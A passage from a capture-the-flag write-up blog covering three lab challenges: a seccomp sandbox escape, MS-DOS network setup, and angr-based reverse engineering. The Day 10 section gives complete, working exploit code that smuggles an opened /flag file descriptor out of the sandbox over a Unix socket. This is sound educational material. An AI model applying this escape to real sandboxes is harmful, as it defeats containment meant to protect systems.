23
24
~ # devmem 0xfebd6000 8
0x70
~ # devmem 0xfebd6001 8
0x77
~ # devmem 0xfebd6002 8
0x6E
~ # devmem 0xfebd6003 8
0x2E
~ # devmem 0xfebd6004 8
0x63
~ # devmem 0xfebd6005 8
0x6F
~ # devmem 0xfebd6006 8
0x6C
~ # devmem 0xfebd6007 8
0x6C
~ # devmem 0xfebd6008 8
0x65
~ # devmem 0xfebd6009 8
0x67
~ # devmem 0xfebd600a 8
0x65
~ # devmem 0xfebd600b 8
0x7B

Day 10 - Seccomp sendmsg

Tha challenge on day 10 is about another seccomp sandbox which needs to be bypassed to get the flag. The description of the challenge contains a conversation protocol between TOWER and SLEIGH.

The challenge establishes a seccomp sandbox which only allows openat,recvmsg, sendmsg and exit_group syscalls.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (!ctx) {
        perror("seccomp_init");
        return 1;
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(recvmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendmsg), 0) < 0 ||
        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0) < 0) {
        perror("seccomp_rule_add");
        return 1;
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        return 1;
    }

    seccomp_release(ctx);

Moreover, we can input compiled assembly code into the application. The compiled assembly code will be executed inside the sandbox.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    void *code = mmap(SANTA_FREQ_ADDR, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);

    puts("💾 Loading incoming elf firmware packet...");
    if (read(0, code, 0x1000) < 0) {
        perror("read");
        return 1;
    }

    puts("🧝 Protecting station from South Pole elfs...");
    if (setup_sandbox() != 0) {
        perror("setup_sandbox");
        return 1;
    }

    // puts("🎙️ Beginning uplink communication...");
    ((void (*)())(code))();

There is a way to send file descriptors over sockets in Linux. We can inject a socket into the challenge binary and send the file descriptor over it.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/uio.h>

#define RAW_SYSCALL(num, a1, a2, a3, a4, a5, a6)                     \
({                                                                   \
    long _ret;                                                       \
    register long _r10 __asm__("r10") = (long)(a4);                  \
    register long _r8  __asm__("r8")  = (long)(a5);                  \
    register long _r9  __asm__("r9")  = (long)(a6);                  \
    __asm__ volatile(                                                \
        "syscall"                                                    \
        : "=a"(_ret)                                                 \
        : "a"(num), "D"(a1), "S"(a2), "d"(a3),                       \
          "r"(_r10), "r"(_r8), "r"(_r9)                              \
        : "rcx", "r11", "memory"                                     \
    );                                                               \
    _ret;                                                            \
})

#define SYS_openat   257
#define SYS_sendmsg  46
#define SYS_exit     60

int main() {
    int sock = 3;
    char flag_path[6] = {'/', 'f', 'l', 'a', 'g', 0};
    // open /flag
    int fd = RAW_SYSCALL(SYS_openat, AT_FDCWD, flag_path, O_RDONLY, 0, 0, 0);

    // setup iovec
    char d = 'X';
    struct iovec iov = { &d, 1 };

    // ancillary data buffer
    char control[CMSG_SPACE(sizeof(int))];
    struct msghdr msg = {0};
    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control;
    msg.msg_controllen = CMSG_SPACE(sizeof(int));

    struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
    cmsg->cmsg_level = SOL_SOCKET;
    cmsg->cmsg_type  = SCM_RIGHTS;
    cmsg->cmsg_len   = CMSG_LEN(sizeof(int));
    *(int *)CMSG_DATA(cmsg) = fd;

    // send FD
    RAW_SYSCALL(SYS_sendmsg, sock, &msg, 0, 0, 0, 0);

    // exit
    RAW_SYSCALL(SYS_exit, 0, 0, 0, 0, 0, 0);
}

Compiled using gcc by:

1
gcc sender.c -o sender

To extract the byte code and write it to a new file we can use Python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.arch = 'amd64'

def read_function(binary_path, function_name):
    binary = ELF(binary_path)
    func = binary.functions[function_name]

    base = binary.address
    offset = func.address - base

    with open(binary_path, "rb") as f:
        f.seek(offset)
        content = f.read(func.size)

    return content


content = read_function("./sender", "main")

with open("payload.bin", "wb") as f:
    f.write(content)

The final script executes the payload and inputs the byte code. Moreover, it contains a receiver part to get the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <string.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <fcntl.h>

static int recv_fd(int sock) {
    char control[CMSG_SPACE(sizeof(int))];
    struct msghdr msg = {0};
    struct iovec iov;
    char dummy;

    iov.iov_base = &dummy;
    iov.iov_len = 1;

    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;
    msg.msg_control = control;
    msg.msg_controllen = sizeof(control);

    if (recvmsg(sock, &msg, 0) <= 0) {
        perror("recvmsg");
        exit(1);
    }

    struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
    int fd;
    memcpy(&fd, CMSG_DATA(cmsg), sizeof(int));
    return fd;
}

static int child(void *arg) {
    int fd = *(int*)arg;

    dup2(fd, 3);
    close(fd);


    int payload_fd = open("payload.bin", O_RDONLY);
    if (payload_fd < 0) {
        perror("open payload.bin");
        return 1;
    }

    dup2(payload_fd, 0);

    execl("/challenge/northpole-relay", "northpole-relay", NULL);
    perror("execl");
    exit(1);
}

int main() {
    int sv[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) {
        perror("socketpair");
        exit(1);
    }

    char *stack = malloc(65536);
    pid_t pid = clone(child, stack + 65536, SIGCHLD, &sv[1]);
    if (pid < 0) {
        perror("clone");
        exit(1);
    }

    close(sv[1]);

    int fd = recv_fd(sv[0]);
    printf("[receiver] got FD %d\n", fd);

    char buf[256];
    int n = read(fd, buf, sizeof(buf)-1);
    if (n > 0) {
        buf[n] = 0;
        printf("[receiver] flag content: %s\n", buf);
    }

    close(fd);
    return 0;
}

Day 11 - MS-DOS

Day 11 starts with a introduction to the computer world in 1994 and specifies that the only goal is to achieve a connection to 192.168.13.37:1337.

🎅🎄 A Surprise From the Bottom of Santa’s Bag…
While Santa was unloading gifts this year, something thumped at the very bottom of his Christmas bag.
After brushing off a blizzard of stale cookie crumbs ❄️🍪, he discovered…

🖥️ A BRAND NEW COMPUTER! 💾
(Brand new… in 1994, that is.)

It comes with a stack of vintage floppy disks, a power brick that absolutely should not be this warm 🔌🔥, and a handwritten North Pole Tech Support card that simply reads:

“Good luck setting it up! Ho-ho-retro!”

So fire up that beige box, pop in a floppy or three, and prepare yourself—
because nothing says Happy Holidays like convincing 30-year-old hardware to connect to the network! 🎁

When things inevitably go sideways, don’t panic—
📞 NORTH POLE TECH SUPPORT: 1-800-242-8478
🧝‍♂️🔧 North Pole elves are standing by to assist you with any tech-support needs.
Seriously. Call them. They’d be happy to help; just let them know what you’re seeing.

Once you’ve got the system up and running—and after you’ve battled the screeching modem 📡 to get online—
🎁 connect to 192.168.13.37 on port 1337 to earn your flag.

The challenge can be started by running /challenge/launch.

Intall the necessary Drivers

Firstly, we need to install MS-DOS on the machine for that we can use the floppy disks 0,1,2. The process is quite intuitive.

After that you need to insert the floppy disk 8. The PCNET drive contains the drivers for networking. At this point, we can execute the driver with the arguments INT=0x60 and BUSTYPE=PCI.

1
A:\PKTDRVR\PCNTPK.COM INT=0x60 BUSTYPE=PCI

Now you can mount the MTCP driver. For that you need to mount floppy disk 7.

Before actually executing the nc utility, we need to create a config file. The file must contain the following config.

1
2
3
4
5
PACKETINT 0x60
IPADDR 192.168.13.20
NETMASK 255.255.255.0
GATEWAY 192.168.13.1
NAMESERVER 1.1.1.1

When this is done you can you can set the config variable.

1
set mtcpcfg=C:\mtcp.cfg

Solution

Now you can get the flag by executing the nc utility which is normal netcat.

1
nc -target 192.168.13.37 1337

Day 12 - Reverse Engineering

Day 12 is about reverse engineering several hundred files which follow the same structure, they accept input and then modify it, finally they compare it against a predefined value.

The challenge executes each binary in /challenge/naughty-or-nice with the input from the /list directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/sh
set -eu

for path in /challenge/naughty-or-nice/*; do
    [ -f "$path" ] || continue
    digest=$(basename "$path")
    input="/list/$digest"

    if [ ! -f "$input" ]; then
        echo "$digest: missing"
        exit 1
    fi

    if output=$("$path" < "$input" 2>&1); then
        cat "$input"
    else
        echo "$digest: $output"
        exit 1
    fi
done

Solution

My solution uses angr to dynamically calculate the input, the input is then put into a file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import angr
import claripy
from angr.storage.file import SimFileStream
import os
from elftools.elf.elffile import ELFFile
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
import time

def solve_file(path,out):


    with open(path, "rb") as f:
        elf = ELFFile(f)
        text = elf.get_section_by_name(".text")
        text_data = text.data()
        text_addr = text['sh_addr']

        disasm = Cs(CS_ARCH_X86, CS_MODE_64)

        syscall_addresses = []
        for instr in disasm.disasm(text_data, text_addr):
            if instr.mnemonic == "syscall":
                syscall_addresses.append(instr.address)
        f.close()

    print(f"Starting solving {path} with correct syscall at {hex(syscall_addresses[1])} and bad syscall at {hex(syscall_addresses[3])}")

        
    start = time.time()

    proj = angr.Project(path, auto_load_libs=False)


    sym_input = claripy.BVS("sym_input", 0x100 * 8)


    stdin_file = SimFileStream(name="stdin", content=sym_input, has_end=False)


    state = proj.factory.full_init_state(stdin=stdin_file)


    state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS)
    state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY)
    state.options.add(angr.options.UNICORN)

    success_addr = syscall_addresses[1]
    fail_addr = syscall_addresses[3]

    sim_manager = proj.factory.simulation_manager(state)

    sim_manager.explore(find=success_addr, avoid=fail_addr)

    if sim_manager.found:
        found_state = sim_manager.found[0]
        solution = found_state.solver.eval(sym_input, cast_to=bytes)
        print(f"Found valid solution: {solution.decode()}")
        basename = os.path.basename(path)
        with open(os.path.join(out,basename),"wb") as file:
            file.write(solution)
            file.close()
    else:
        print("No valid solution found for file.")
    end = time.time()
    length = end - start


    print(f"It took {round(length,2)} seconds!")

def main():
    directory_path = "naughty-or-nice"
    out = "out"

    for file_name in os.listdir(directory_path):
        file_path = os.path.join(directory_path, file_name)
        basename = os.path.basename(file_path)
        if os.path.isfile(os.path.join(out,basename)):
            continue
        if os.path.isfile(file_path):
            solve_file(file_path,out)

if __name__ == '__main__':
    main()

Final Notes

MERRY CHRISTMAS

This post is licensed under CC BY 4.0 by the author.